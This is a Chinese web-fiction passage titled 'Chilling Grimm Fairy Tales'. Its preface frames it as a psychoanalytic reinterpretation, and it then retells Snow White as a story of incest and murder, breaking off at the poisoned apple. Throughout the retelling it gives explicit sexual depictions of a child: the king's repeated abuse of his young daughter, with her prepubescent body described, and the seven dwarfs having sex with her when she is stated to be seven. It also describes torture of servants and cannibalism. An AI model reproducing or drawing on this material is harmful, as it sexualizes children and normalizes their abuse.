图片载入中

令人战栗的格林童话(图文)

特大字】 【大字】 【中字】 【小字

下载次数:164

令人战栗的格林童话

作者∶桐生

整理∶抱瓮老人

排版:粥猩吃(序)欢迎来到残酷却又寓意深远的童话世界。格林兄弟雅各(一七八五~一八六三)和威廉(一七八六~一八五九)生于德国的维尔贺尔姆市,是当地行政司法官之子。在父亲于一七九六年病逝后,一家生活便陷入困顿,不过两兄弟仍旧努力向学,以极优秀的成绩从名校马尔布鲁克大学毕业,之后任教于哥廷根以及柏林大学,并趁工作之余陆续出版了《德意志文法》、《德意志法律古事志》等书由格林兄弟所出版的《格林童话集》,最初刊行于西元一八一二年的圣诞节,此时距离德国遭到拿破仑占领的悲剧只有六年。于是,在德国这段悲惨时期所产生的追求失去乌托邦的热情,以及期望德意志民族统一的愿望,遂成为他们的创作原动力。格林兄弟认为,因为德国众多城邦的无法团结,才会引来拿破仑的侵略,而德意志民族的统一,则必须先从语言文化的统一开始。在十八世纪末到十九世纪的这段期间,正是德国文化的鼎盛时期;在文学界有歌德、席勒,哲学界有康德,音乐界有莫札特、贝多芬、海顿。在浓厚的民族意识熏陶下,民众逐渐对日耳曼民族的历史、神话、传说,乃至于乡野故事感到兴趣,而格林童话就是在这样的背景下诞生的。grimm5.jpg(71.16KB)

一八一二年出版的第一版,其销售情况相当不错,之后遂陆续推出了第二版(一八一九年)、第三版(一八三七年)、第四版(一八四○年)、第五版(一八四三年)、第六版(一八五○年),一直到第七版(一八五七年)也就是格林兄弟生前的最后一版;过去国外翻译引介的版本,多半都以第七版为主。但是,在出版同业和书评家眼中,原本的《格林童话》是个“母亲念给女儿听时,会不由得羞愧脸红的故事集”。因此,格林兄弟遂于日后再版这部童话时,做了不少的删改;尤其是最引人争议的性交、怀孕、近亲相奸等情节,更是彻底的加以删除。而如今,拜童话再省思的热潮之便,童话故事被重新赋予了新的生命虽然各家学派都以不同的角度来剖析童话故事,不过,其中最引人瞩目的应该算是“精神分析”的层面。举例来说,根据布尔诺。贝提罕的解释,“白雪公主”与后母之间的争执是起源于母女都想占有父亲的伊底帕斯情结。而在卡尔。海因兹。马雷的分析中,“蓝胡子”交给妃子的那把不能随意闯人的门的钥匙,其实是一把具有“贞操带”意涵的钥匙。除了精神分析之外,另一种盛极一时的分析法是“历史面的解析”。举例来说,故事中出现后母、继母的频率极高,其实是反映了欧洲近世初期,每五名已婚男人便有一人失婚再娶的历史事实。至于“汉索与葛丽泰”故事中的“抛弃孩童”情节,也是反映当年因为饥馑无法煳口而导致的普遍现象。因此,我们在参考过各家学者的不同分析之后,决定挖掘出“初版”《格林童话》之中的残酷与现实,彻底解析深藏在童话故事里的潜意识以及历史背景,用新的解释推出更为生动的《格林童话集》。虽然无法严密界定,不过《格林童话》的故事舞台多半是设定在十二~十八世纪的近代初期,这或许正是格林兄弟所想表达的特殊时代意涵吧?“哗!原来故事里包含的是这样的意义啊?”“原来这是他们真正想表达的意念!”如果本书能引发读者们如此的兴趣,那么笔者不足为外人道的辛劳也就能有所补偿了。问话不再多说,我们现在就一同进入“‘新’格林童话”那个残酷却又寓意深远的世界吧……grimm1.jpg(74.63KB)

***********************************

第一章。白雪公主(女儿和生母之间爱纠葛)皇后藏身在长廊转角处静静的等待着,烛台的火光忽明忽暗,隐约照映出长长的、不知延伸向何方的走廊。就在这时,她听见了蹑着脚快步走的声音;是一个身材魁梧、用斗蓬遮住脸的男人;皇后立刻便明白这不是别人,正是当今的国王。国王鬼鬼祟祟的环顾四周,在确定没有别人之后,便于一间房间门口停下脚步,推开门一闪身就消失了身影,只留下看见了这一切的皇后,独自一人在长廊下。究竟会发生什么事呢?皇后对房间内的事非常好奇,但是她同时也感到害怕,这是不可饶恕的罪在她的心中,的确挣扎了一会儿,不过最后还是焦虑与好奇心战胜了一切像是被恶魔附身一般,皇后走近国王潜入的那个房间,弯下腰来,从钥匙孔窥视室内的情景。仅有微微月光照亮的房间内,一个女孩横躺在床上。皇后只能隐约的看见国王坐上床沿,和女孩热切拥吻。那女孩稚气的脸上,浮现幸福的笑容,半开的唇间露出像松鼠一般的可爱门牙。国王用左臂拥着女孩,右手则帮她褪去衣裳。月光下,女孩美丽的身躯一览无遗,微微隆起的乳房、还没长出体毛的下腹,以及像洋娃娃般的纤细双腿……皇后此刻已经不愿再往下看,眼睛离开了钥匙孔。虽然长久以来的疑惑终于得到解答,但绝望感却让她全身虚脱,使她无力的倒卧在地板上。身为妻子,竟然目睹了丈夫的不忠,这是多么无奈的事实……然而更大的悲哀是,丈夫外遇的对象竟然是夫妻俩亲生的女儿……下雪了,皇后独坐在黑檀木窗沿,做着针线活。她嫁到这个王国已经十年了;年轻貌美的皇后虽然没有显赫的身世,不过国王并不在乎,认定她就是他要的女人。刚结婚的那段期间,国王疯狂的爱着皇后,而皇后也以拥有国王的爱为满足,只要国王瞄一眼周遭的侍女她就会嫉妒,就连国王与家臣谈天也会引发她的醋劲,甚至是一些王公贵族,也免不了被皇后的妒火所波及。然而幸福并未长久;在那个年代,国王出兵四处征战是常有的事,各个城堡的领主几乎很少留在城中,大部分时问都在战场上度过。于是被留在城里的皇后,便开始感受到了前所未有的孤寂。每天的日子都在侍女们的环绕下无聊度过。女人的话题还能有什么呢?多半都是一些服饰、化妆,以及背地里的闲言闲语。皇后表面上强颜欢笑,但内心却寂寞难耐。在这样的生活中,皇后唯一的娱乐就只有在夜阑人静时,关起房门拿出她的嫁妆──一面魔镜来端详。当她凝视着魔镜时,总会喃喃的问到∶“魔镜啊魔镜,谁是这个世界上最美丽的女人?”“皇后阁下,世界上最美的女人当然是你……”听见魔镜这样回答,皇后才松了一口气。镜中的她有着棕黄色的头发,直挺的鼻梁,以及如同大理石般的白色肌肤皇后非常重视肌肤的保养,不惜重金从先进的法国买来护肤的配方,并使用各种草药制成油膏,每天早上都给肌肤做最好的按摩。然而岁月不饶人,皇后的美貌、是有衰退的一天。不知从何时开始,皇后的肌肤已逐渐松弛,眼角出现了细纹,而国王也似乎不再那么的享受鱼水之欢了;看来,国王已经对皇后不再感兴趣。皇后当然也听说过国王想在贵族千金中寻找宠妃的传闻,因为在不打仗的时候,即使留在城内,国王也把大部分时问都花在探访皇亲国戚上。国王十分喜爱少女,当年皇后嫁给他时只有十五岁,所以与其说国王是被她的美貌折服,不如说是爱上了她的年轻。丰满的胸部和臀部并不是国王的喜好;当年的皇后拥有光滑无垢的肌肤、细直的双腿、紧致的臀部、小巧的五官……这种未成熟的中性美让国王深深着迷。当年未及龄的少年少女结婚是极为稀松平常的事,甚至有些公主还没满十岁就被嫁到异国,不过由于对方也是个乳臭未干的王子,所以虽然名为夫妻,但看起来却更像是玩伴。皇后心想,如今国王宠爱的贵族之女,不也都是一些年纪不超过十四岁的少女吗?除了年华不再之外,皇后还有另一个很大的弱点,那就是没有子嗣。她叹了一口气,再度望向窗外的雪。一个不小心,针尖刺伤了指尖,一滴鲜血落在雪中;红色的鲜血和白色的冰雪搭配在一起,颜色竟是那么的夺目;皇后见到这幅景象,脸上露出了前所未有的光彩。“我要生一个孩子,一个肌肤像雪一样白,唇像血一样红,头发像窗框檀木一般黑的孩子……”只要生一个孩子,就一定能够挽回国王的心。不,就算国王不再爱我,我也是王子的生母,没有人能够动摇我的地位……

或许神真的听见了皇后的祷告。没多久,皇后就怀孕了,之后产下一个健康的宝宝。正如她所期望的,是个肌肤洁白如雪、嘴唇赤红如血、头发如檀木般黑的女婴∶他们为她取名为白雪公王。国王对皇后的“功劳”十分满意,送了无以计数的宝石华服来奖赏她虽然外头有人说,没生下王子是一个遗憾,但皇后一点也不在乎。随着小公主的逐渐成长,国王也满心欢喜,他不再到外头去找他的情人,而把大部分时间都用来陪伴小孩,也因此经常到皇后的寝宫探视。皇后终于如愿了,她,再度夺回了国王的心。在双亲疼爱下成长的白雪公主,有着和皇后相似的美貌;皇后对此相当自豪,只要有人赞实白雪公主的美丽,她就会觉得自己也获得了赞赏。可是有一天,皇后发现有些不对劲;她发觉国王凝视白雪公主的眼神,不像是父亲在看女儿,而像是男人在看女人。他盯着公主胸部白皙的肌肤、看着公主裙角下不经意露出的脚踝,眼中竟蕴含了异样的欲望之光。在过去的时代,近亲相奸,并不像现代人所认为的那样特殊,埃及女王克蕾欧。帕特拉,就曾经和弟弟结婚,而十六世纪时的意大利知名贵族法兰西斯哥。钱奇甚至还把美貌的女儿监禁起来供自己玩乐。结果就在数天后,在偶然的情况下,皇后见到国王潜入公主的寝室,并且从钥匙孔中发现了难以接受的事实。从此以后,国王几乎每天晚上都到公主的寝室去,再也没有前来临幸皇后;皇后又像以前一样跌入了孤独的深渊。不过,皇后并没有把这件事告诉别人,只是独自承受着嫉妒之苦。她那纯洁无瑕的女儿,如今已经被国王的兽欲给污泄;她多么希望在丈夫爱抚下娇喘的是她自己,而不是她的女儿……尝到了男人滋味的女人……皇后只要一想到这点,就无法忍受女儿的污秽。过去,她也喜欢抚摸公主的细嫩肌肤,但如今只要一看见公主,她就觉得恶心。“为什么要穿那么暴露的衣服!”皇后总会忍不住批评。“多么下流啊,这样也配当一国的公主吗?”公主开心的穿着当时最为流行,能够展现身材曲线的洋装,还有用绢丝制成的袜子,但却冷不防的遭到皇后的斥责。然而,过去对母亲百依百顺的公主,现在竟也突然开始反抗∶“是妈妈你的观念太保守啦,这是现在最流行的服饰呢!”“应该是你认识不清吧,你这样不怕外人说闲话吗?现在巴黎真正流行些什么,你知道吗?像你这样的打扮,像极了那些爱在街头乱跑的贩夫走卒家的女孩。”

受到这样的责备,公主襟了口,露出一副哀怜的表情。过去皇后总觉得这样的公主最美,但现在看来却是那样的讨厌。然而更可恶的是,公主身上竟散发着一种已经尝过男人滋味的女人才有的不洁气味;她明了公主已经习惯了男人的爱抚,而交欢的技巧也正在不断的进步从此公主和皇后之间就常为了一点小事而争论不休;有一回,公主甚至老气横秋的说∶“对女人来说,男人的爱就是一切,没有男人爱的女人,还有什么好自豪的呢。”“你说我没人爱?”刹那间,皇后的脸色全变了。“是呀!爸爸已经不再爱妈妈啦,我亲耳听到的,他说那样的女人他已经受够了……”那是沉浸在爱情之中的女人才有的强悍,过去皇后也曾保有这种强悍,但是随着自己的姿色改变和年华不再,如今的皇后只是一个失去了自信的女人……

这是第一次,皇后发觉自己把女儿视为劲敌般的嫉妒着。那光泽闪耀的肌肤,还有蔷薇色的嘴唇,以及没有一点赘肉的躯体;那都是皇后自己已经失去,或者即将失去的珍贵东西。如今站在自己面前的公主,已经拥有一切的优势,并且在夺爱的战争中获得了胜利。如今国王已经完全成为白雪公主的俘虏,不管是上剧院还是听音乐会,他都要带着公主同行。虽然公主年纪还小,但却仿效大人穿起装饰着丝绸蝴蝶结的晚礼服,以及由鲸须支架撑起的蓬裙,坐在原本留给皇后的位子上。这样的光景自然引起众人的注意。当大家目睹国王步入剧院,带着白雪公主坐在二楼正面的包厢里时,尽管大家四目相投没有作声,却也明白是怎么一回事了。不过,即使众人眼光烁烁,国王和公主也不当一回事。在宫廷里接见各国大使时也一样,娇小的白雪公主就坐在国王身旁。起初,她还不晓得当宾客来到御前时自己该做什么,不过后来国王给她使了个眼色,这时,她才在俏皮的眨了眨眼之后,面露微笑的起身接受宾客致意各国大使们当然也很清楚这代表着什么意义。于是,各国大使有了一项共识,如果想向国王要求些什么,第一步一定得先跟白雪公主打过照面。因为这位年幼的公主,是人人敬畏崇拜的国王的唯一克星。尽管大家不喜欢,但还是得接受现实。娇惯的白雪公主,越来越傲慢,开始用下巴使唤周遭的人,包括她的父王在内。有一天晚上,在听完音乐会回到寝宫后,白雪公主疲累的倒在床上,任由国王帮她脱去脚上的绢丝袜子。国王像剥蛋壳似的小心褪去公主脚上的袜子,露出了无瑕的双脚;他就这样跪在床前,贪婪的吸吮起她的脚趾尖,然后无比耐心的爱抚她的双腿。“不要啦,我好想睡喔,父王。”白雪公主一面打着呵欠一面拒绝国王的求欢。“求求你,昨天你也拒绝我,今晚至少……”“不要啦,我今天很困啦,明天再说啦。”白雪公主没好气的说着,扭身朝向另一边,继续她的好梦。国王虽然没能如愿,但心的欲火却烧得更勐;他就像一个被少女所玩弄的老头,不死心的继续纠缠。“真受不了你,好啦,借你一只脚吧。”她将一只脚伸出来满足苦苦哀求的国王,国王则拼了命的享受、吸吮起来“来吧,另一只脚也赐给我吧。”白雪公主听话的伸出另一只脚,而这只脚也马上又被国王搂住,并重复起同样的动作。公主的傲慢并不仅止于此,凡是她看不顺眼的侍从、侍女,她都要在枕边向国王告状。“那个叫法蓝兹的侍从,总是用嫌恶的眼神看我,以前我也警告过他,但他却好像一点悔意也没有,真是个坏胚子。”“那个叫克拉拉的侍女,上次偷懒没把我的裙子烫平,结果裙子的后摆都是皱折,害我在贵妇们面前出丑。”“那个叫海伦娜的侍女真不管用,帮我脱鞋时总是弄痛我,真该好好找个机会教训她。”每次只要公主一有抱怨,国王就会立即把侍从砍头或是严厉惩罚,有时甚至会当着白雪公主的面鞭笞侍从、侍女。首先是拉出一个被五花大绑的侍从,剥去上衣露出背嵴,然后命人用力的鞭打,在白色的肌肤上留下道道血痕。白雪公王虽然看了觉得害怕,但却乐此不疲。有一个侍从,因为被白雪公主看不顺眼,所以被罚在宫殿中庭里裸奔,另一个侍从则被全身剥光绑起,用羽毛搔遍全身。还有一个侍从,只因为白雪公主不喜欢他穿鞋的方式,便叫人用烧红的铁钳烫烂他的双脚。就这样,白雪公主的坏心眼越来越不受控制,但是国王却丝毫不以为忤,反而相当乐在其中;或许是因为他体内的年轻活力正日渐衰退,想借由白雪公主的肆无忌惮来满足自己的空虚吧?也或许是因为国王把白雪公主当成了宠物,十分享受有如驯养幼狮般的快感吧?“今天又有一个叫汉斯的侍从在众人面前裸身遭到鞭打,真是可怜啊,背上都红肿流血了,恐怕会有好一阵子都无法起身干活了呢。”当皇后坐在那面镜子前,由侍女帮她梳理头发时,她听见侍女这样诉苦着“唉,连汉斯也……”皇后感到非常灰心。国王到底是怎么回事,一个小女孩的抱怨怎么能够当真呢?如果再这样下去,宫廷里将会人心惶惶,必须要有所行动了。可是如今国王和白雪公王的关系在宫中已经是人尽皆知的事实,就连宫里的人事也必须经过公主的点头才能够更动,更别提那些没有过失的人只因为公王的一时兴起就遭到拷打的厄运。一个完全不了解大人世界的幼女,只凭她个人感情的好恶来决定宫中的大小事情,这样太危险了。如果让情况再续续恶化下去,皇后担心恐怕连她自己的身份地位也将不保在侍女离去之后,皇后又像往常一样凝视着镜中的自己,用最严苛的眼光仔细的探查自己的眼角、嘴角和鼻子。然而她唯一能发现的,就只有岁月造成的刻痕,正一步步侵蚀她的美貌的事实。她已经尝试过所有方法;从法师那里讨来的药草、香油,还有温泉的泥浴,以及牲畜的鲜血……但都无效。过去自己花了那么多苦心才保持住的容貌,如果一旦失去,那将来又该如何活下去呢?在绝望之中,皇后踌躇着,但仍然不忘像过去一样,向魔镜询问∶“魔镜啊,魔镜,谁是这个世界上最美的女人?”魔镜这么回答她∶“皇后啊,在这里你的确是最美的女人,但这个世界上最美的是白雪公主,白雪公主才是全世界最美的女人。”不能再继续忍气吞声了,一定得除掉白雪公主,这样自己的地位才能稳固如令皇后已经丧失了理智。既然有了目标,就必须立刻实行。可是该如何杀死她呢?皇后想过使用毒药,但是弄毒药太麻烦了;或者是亲手把白雪公主勒死?

然而她又害怕自己到时候会因母性作祟而没有勇气下手。最后皇后终于下定了决心,找来了一个功夫相当不错的猎人。“把公主带到森林里杀掉!然后把她的肝和肺带回来给我。”对当时的人来说,森林是充满神秘的,栖息着无比恐怖的怪兽,是个进得去却出不来的地方。“我带你去森林里玩玩吧,那里有很多很有趣的东西喔。”猎人这样邀请白雪公主,不过白雪公主本能的察觉到情况有异,所以没敢答应。但猎人还是拉着公主的手,便把她领进了森林里。就在这时,猎人的心中浮现了一阵哀愁。(真是可怜啊,要我杀掉这么小的一个孩子。)对于身份地位相当低的猎人来说,这实在是匪夷所思的事。当时婴幼儿的死亡率非常高,刚生下来的孩子常会因为泄病而夭折,所以好不容易活下来的孩子都被大家视为珍贵的宝物。猎人弄不明白,为什么那些身份地位高的人会这么不重视小孩子的生命?

“你不要怨我,这是皇后的命令,我自己并不想这么做。”说着,猎人便拔出了刀,吓得白雪公主跪在地上拼命求饶∶“请您大发慈悲,饶了我一命吧……”公主脸颊上流下的两行泪,顿时让猎人失去了气力。(就算我不杀她,这么小的孩子也没办在森林里生存吧?她迟早都会被恐怖的野兽给吃掉,这样就用不着我直接下手了……)于是猎人收起了刀,把公主赶进森林里,然后宰了一头猪,取出肝和肺带回城里。等得不耐烦的皇后,看见眼前血淋淋的内脏,还是吓了一大跳,不过她强作镇定的说道∶“干得很好,公主有没有抵抗?”“是,她临死前还在惨叫、哭嚎……”“好,做得好,我要好好的奖赏你。”说罢,皇后便当场叫出心腹手下把猎人给杀了。想当然尔,这是封口的动作。然后皇后又重新检视了猎人所带回来的肝和肺;她心想,这些还带有血色和体温的内脏,就是那个不断将我逼到绝路,年轻貌美的白雪公主的内脏……

根据当时的习俗,如果吃了年轻女孩的心肝,就能把她的年轻占为己有一开始皇后还有些踌躇,不过最后还是找来了厨师,把那些内脏撒盐烤过之后送上了餐桌。在那个时候,人吃人并不是什么稀奇的事,欧洲在中世纪曾经发生过大饥荒,到了十三、十四世纪,更因为气候变化,使得饥荒益发严重,有许多村镇甚至还因为人口流失而荒芜。在粮食不足的压力下,人们从农村涌到都市,然而都市里也并没有那么多的面包足以喂饱这么多人;于是街头四处都有人饿死,而活着的人便争食死者的尸体;在现在想来,这实在是无比的惨剧。一开始,皇后只敢浅浅的尝尝味道∶她眯着眼睛看着红肉上滴下的血汁;终于,她鼓起勇气咬了一口。在咀嚼当中,皇后总算体会到了奇妙的满足感。如今,公主的美都将属于她了。另一方面,白雪公主正在森林里因害怕而哭泣着,不知该往何处去。如今她终于明白自己是多么的愚蠢,只一味的争夺父亲的疼爱,却没有注意到母亲的感受。难道母亲是用女人看待女人的眼光来面对我吗?难道母亲对我的嫉妒,已强烈到要杀掉我才能泄愤吗……?直到此刻,白雪公主仍旧无法认清现实,以为母女的爱可以胜过一切但现在不是想那些的时候。风吹树梢发出了咻咻声,而远方则传来了勐兽的长嚎;夜越来越深,四周的树木枝干看起来像极了幽灵的面容。过度的害怕几乎让公主晕厥,她只能无意识的边走边哭,翻过一座又一座的山头;也不知打哪儿来的力气,公主竟然一连翻越了七座山头。就在这时,她终于看见了民家的灯火。在力气耗尽之前,她走到了这栋小小的石造民房门前。这里其实住着七个小矮人,他们平常都在上里挖掘铜矿,然后打造成武器,借此煳口。白雪公主稍稍的走进屋内,房里放着一张小小的餐桌,上头放着七个小小的盘,同时还摆了七套小巧可爱的叉子、汤匙、杯子和餐刀。房间的另一头则排着七张小小的床,铺着洁白的床单。饿昏了的白雪公主没有多想,顿时便将餐盘里的面包和菜肴吃得精光,还喝完了杯子里的葡萄酒;等到肚子一饱,疲倦感便又再度涌现,于是挑了一个床,倒头立刻睡着,床的大小刚好适合当时只有七岁的白雪公主。当夜幕低垂时,这个家的主人,七个小矮人回来了,他们点亮灯一看,床上竟然睡着一个可爱的女孩,而餐桌上的面包和汤也都被动过了。“好可爱的女孩呀!”其中一个小矮人叫道。“嘘,不要吵醒她,让她继续睡吧。”隔天早上,白雪公主睁开眼睛看到这七位小矮人,不禁吓了一跳。他们的个子都和自己差不多,只不过头发中混杂着白发,皮肤也像中年人般粗糙,不过眼神看起来都很和善。公主心想,要不是他们在这里盖了一栋房子,我昨晚恐怕真的要被野兽给吃掉了……公主虽然还是个孩子,不过脑筋却很灵光,她马上把坏心眼的妈妈想要杀害自己的事,以及猎人不忍心杀她,才放她一条生路的事说了一遍……听完她的话,小矮人们都露出难以置信的表情,怎么会有母亲想杀害自己的亲生女儿呢?但是这么可爱的女孩,看起来并不像是会说谎的样子,这件事背后一定还有内情才对。“如果你没有地方可去,就在这里住下来吧。”小矮人你一言,我一语的这样告诉白雪公主。长久以来,这些年老的小矮人都活在一个没有女人的世界里,如今面前出现了这么一位可爱的少女,彷佛在他们灰色的生命中点亮了一盏明灯。每一位小矮人都在内心暗自许愿,希望这样的幸福能够一直持续下去“不过,你得要帮忙做家事才行,你要打扫、洗衣、缝衣、做菜、整理房间。我们都是粗枝大叶的男人,不懂得如何把家里弄得更漂亮。你是个女孩,这对你来说应该不是什么难事才对。”白雪公主高兴的点了点头。于是就从这一天开始,她和小矮人的奇妙同居生活便展开了。当年男人出外工作,女人在家打理家务是天经地义的事,所以很自然的,家事都落到了公主的头上。过去如花似玉、娇生惯养的她,当然不会洗衣、做菜和打扫,不过久而久之,她也渐渐的学会了一点;再说,就算做得不好,小矮人们也从没抱怨过什么家里来了一位可爱的女孩,小矮人们觉得很满足,他们不想失去这个女孩因此,尽管大家都不说出口,但都很有默契的认为,应该要好好的保护这个女孩。“我们出外工作时候,记得一定要把门窗关好,不管是有谁来叫门,都绝对不可以开门喔。”小矮人们一再这样提醒纯真无邪的白雪公主。不知不觉间,他们已经以公主的父亲自居,而以前相当依赖父亲的公主,也已经很习惯男人这样对待她。不知从何时开始,小矮人们每天晚上都轮流跟公主交欢。普通的女孩都很讨厌成年男人的胡渣、粗糙的皮肤,以及老年人特有的体臭,但是白雪公主早就习惯了这一切,所以并不觉得排斥。只不过当小矮人和她上床时,那刺刺的胡渣总会唤起以前的回忆,使地想起父亲的面容。公主想起初夜时,当时的她没有喜悦,只有惊恐;男人粗糙的手把她的衣服脱去,抚摸她的胸部和下腹,而她只能暗自发抖。“不要,父王!快住手。”但不知为什么,当时就是难以开口拒绝。对她而言,那是一次既恐怖又羞耻的回忆;破身的痛苦至今都还留在脑海┅

可是在交欢之后,父亲温柔的擦去血痕,紧紧的抱住了她;当晚她就睡在父亲的臂弯里。那粗糙的胡渣和老男人特有的体臭,如今却变得那么令人怀念。“啊啊,父王……”到了高潮的顶点,白雪公主忍不住喊出声来。听到她这么喊,小矮人停下了动作;长久以来的疑问终于获得了解答为什么公主会遭到生母的嫉妒,非要除之而后快不可?为什么这么年幼的一个女孩,浑身上下却散发着病态的性感魅力……另一方面,在城里的皇后则展开了新的生活。虽然杀了亲生女儿的罪恶感让人难受,但少了和她夺爱的情敌,却又让她感到无比安心。没有人能够抢走国王了,国王又再度属于我了……远征回来的国王发现公主不见了,心中悲哀难忍,可是皇后很有技巧的说了个谎∶“那天我们去森林里散步,不料遭到野兽袭击,所以大家都赶忙逃命,然而就在逃走的途中,公主被裙子绊住了脚,结果被野兽追上吃掉了。”然后皇后叹了口气;这是以母亲身份叹的气。每当她一个人留在房间时,总会想起白雪公主童稚的脸;这时她便会勐力的摇头,想把这一切都抹去。往后自己和国王还要继续过下去,她是一个重新获得爱的女人;如果这一切一定要用白雪公主的性命来换取,那也是不得已的……当天夜里,皇后贪婪的享受国王的爱抚,在肉欲中忘却了犯罪的恐惧国王对她反常的热情感到惊讶,但也没有多说什么;或许皇后是想用性爱来冲淡失去女儿的哀伤吧。可是没过多久,国王在外头另结新欢的传闻,便又窜进了皇后的耳中;这让皇后感到犹疑,难道当初杀死女儿,夺回国王的爱都是徒劳无功?难道这样做是错的?当晚,再度陷入孤寂的皇后又把那面镜子拿了出来,然后凝视者镜子问道∶“魔镜啊,魔镜,快回答我,谁是这个世界上最美的女人?”“皇后啊,在这里你的确是最美的女人,可是这个世界上最美的是住在七个山头外的白雪公主……”皇后的脸色顿时变得铁青,镜子也摔到了地上。那原本已经死了的女儿竟然还活着,这怎么可能……恐惧让皇后全身颤抖,那孩子要是跑回来告发我犯的罪行怎么办?国王肯定不会饶过我这个杀害亲生女儿的母亲吧……如令杀人已经变成了必要手段。过去杀人是为了内心的嫉妒,而这次则是死活的问题。在这样一场母亲与女儿的夺爱斗争中,只能有一个人活下来。不能再信赖别人了,只能靠自己亲自下手。下定决心的皇后在脸上抹了颜料,套上破烂的衣服,选了几个漂亮的绢织束腰放在篮子里,偷偷的潜出城去。束腰是一种系在腰间,可以让胸部高耸挺立的内衣,而绢织品在当时只有威尼斯和米兰才有生产,是极为高价的服装。过去在宫中那么喜爱打扮的公主,一定会对束腰很感兴趣,而她现在生活在深山里,无法再接触到过去的华服,心里大概也正闷得慌吧。本身就很爱美的皇后深知如何利用这些东西来抓住女人的虚荣心;她有信心,那位年幼的公主一定会轻易上钓。变装易容成老太婆的皇后翻越了七座山头,终于来到小矮人的家;她咚咚的敲了敲门,大声叫卖起来∶“有没有人要买束腰啊?非常漂亮的束腰唷……”

白雪公主觉得很纳闷,怎么会有人在这样的深山里叫卖?可是这些天来她总是一个人留着看家,而且也已经很久没和外人说过话;再说,老大婆卖的是束腰……于是心痒难忍的公主遂毫无警戒的打开了门。看见公主的身影,皇后内心泛起复杂的感受。公主虽然身穿粗布制成的衣裳,但却仍旧闪耀着年轻的光辉。啊,这就是夺去丈夫的爱,夺去我的幸福的女儿。想到这里,皇后的心中涌现憎恶。没错,就是这张年轻有朝气的脸,害得我这个皇后地位不保;不,连我的生命都受到威胁……“唉呀,好可爱的小女孩,你喜欢哪一种颜色呀?对了,这种颜色不错,我来帮你穿上好吗?”白雪公主毫无戒心的让皇后靠近;并让她从背后为她绑上束腰。可是越绑,她越觉得胸口闷得难受,想挣脱,但束腰却越来越紧;最后终于难过的唉叫了一声,倒了下去;皇后这才满意的逃进了森林中。等到天色阴暗,小矮人回家来,但却没人来迎接;大伙儿狐疑的开了门,却发现白雪公主就倒在门口。不管怎么叫她,怎么摇她,都没有反应。就在小矮人们束手无策之际,突然发现公主身上穿着束腰,于是便赶忙将束腰的绳子松开;公主这才喘过了一口气,重新恢复神智。小矮人们见状都大声欢唿,泪流满面。听完了白雪公主当天的遭遇之后,小矮人们又再度感到震惊不已。“真是可怕啊,那个老太婆一定就是皇后。不过还好,总算保住了一条命;下次不管是谁来敲门,都不可以开门唷!”就像父亲对年幼女儿的训诫一般,小矮人们一再的对公主耳提面命。另一边,皇后气喘吁吁的赶回城里;她有信心这次绝对不会失败,因为在她系紧束腰时,就已经确定公主是不可能活下来了。没问题了!公主不可能再活过来了。皇后心中这么想,但还是觉得有些不安,于是再度拿出魔镜来确定一下∶“魔镜啊,魔镜,谁是这个世界上最美的女人?”她暗自祈求,可是魔镜却回答∶“皇后啊,在这里你的确是最美的女人,可是这个世界上最美的是住在七个山头外的白雪公主。”啊啊,怎么会这样?即使是我亲自下手,公主却仍然还活着?难道是我的母爱在作祟,没有在系紧束腰时使尽全力,反而手下留情了吗┅

下一次,皇后在心中发誓,不管用什么方法都要杀了她,否则我的性命和地位都将不保。于是皇后决定选择毒药。在中世纪,毒杀是极为普通的杀人手段;在宫廷中,王公贵族们就经常遭到毒杀,因此养成他们在吃饭前总会先叫侍从先行试毒;就算是招待宾客喝酒,主人也必须先举杯一饮而尽,以表现诚意。皇后选中的是一种能立即发作的毒药。她将煎过的毒药涂抹在漂亮的梳子上,然后换上和前次不同的装扮,再度潜出城去。翻越了七座山头来到小矮人的家,皇后又扯开嗓子嚷了起来∶“有没有人要买梳子啊?漂亮的梳子唷……”“老太婆,你来做什么?”白雪公主把门打开一条细缝,这样问道。“卖梳子呀,我有漂亮的梳子呢,你想不想瞧瞧啊?”“可是我不能随便开门。”“一下子有什么关系呢?你看,这么漂亮的梳子要去哪里找啊?”皇后拿起了一把梳子,对着太阳照了照,上面所镶的宝石闪闪发光。顿时爱美的白雪公主便失去了警戒心,心想看一看应该没问题吧,于是便打开了门。“真漂亮啊……”公王欣赏着梳子,而皇后则鼓起三寸不烂之舌∶“你的头发更美丽呢,我来帮你梳梳头吧。”在皇后把梳子插在公主头发上的那一瞬间,毒性立刻发作,公主随即倒地不起。在小矮人还没回来之前,皇后便匆忙的逃跑了。到了傍晚,小矮人们回家一看,公主又昏死在地板上。大家七手八脚的寻找,这次公主没穿束腰;最后才突然注意到公主头发上有把过去没见过的梳子,于是便将梳子拔起,公主才又醒了过来,而小矮人们也再度流下了欢喜的眼泪。竟然连续发生两次这样的事,怎么会有如此愚蠢的女孩呢?小矮人们叹了一口气。公主毕竟是在丰衣足食的环境下长大,从来不会怀疑别人;而如今生活困苦,她却远是无法忘情美丽的东西。小矮人们其实也不是不明白她内心的苦闷,但还是不得不严厉的加以告诫∶“听好喔,不可以再让不认识的人到家里来了,要不然下次可真的就没命啦。”

另一边,气喘吁吁的皇后终于又赶回城里。她想,这次总不可能失败了吧……于是她再次询问魔镜,想不到魔镜还是这样子回答她∶“皇后啊,在这里你的确是最美的女人,可是这个世界上最美的是白雪公主,住在七个山头外小矮人家中的白雪公主……”事到如今,皇后的心中只剩下了憎恨,对一个怎么杀也杀不死的可恶生物的憎怎么杀也杀不死,那不就是妖怪了吗?不,仔细想想,公主还在城里时就已经是个怪物了;她介入国王和我之间,威胁我的幸福,看见我承受痛苦还能毫不羞耻的大笑。她的确是个怪物,一定是的……皇后心中仅剩的那么一丝对女儿的怜悯,这时已完全消失殆尽。(无论如何非杀死她不可,就算是赔上性命也不在乎!有了,只要在苹果上涂上毒药就行了!)公主向来最喜欢吃苹果,要是她看到苹果,一定会忍不住想吃。住在那种深山里,想必很难吃到好吃的苹果吧。皇后很快就弄来了个苹果,并把毒药涂抹在苹果的半面上,然后乔装成和前二次不同的装扮,再度前往小矮人的家里。grimm3.jpg(75.5KB)

她敲敲门,大声叫嚷∶“苹果,苹果!要不要买好吃的苹果?”“我不能和陌生人说话。”白雪公主把门打开了一个细缝,从里面探出头说。“嗯,没关系,反正这些都是卖剩的,带回去也没用,就送一个给小姐你吃吧,我马上就要走了。”说着,皇后便把毒苹果从门缝间塞进去,结果看到白雪公主警戒的向后退“你以为我放了毒药吗?那么这样吧,我先吃一半,剩下的一半,留给你吃。”

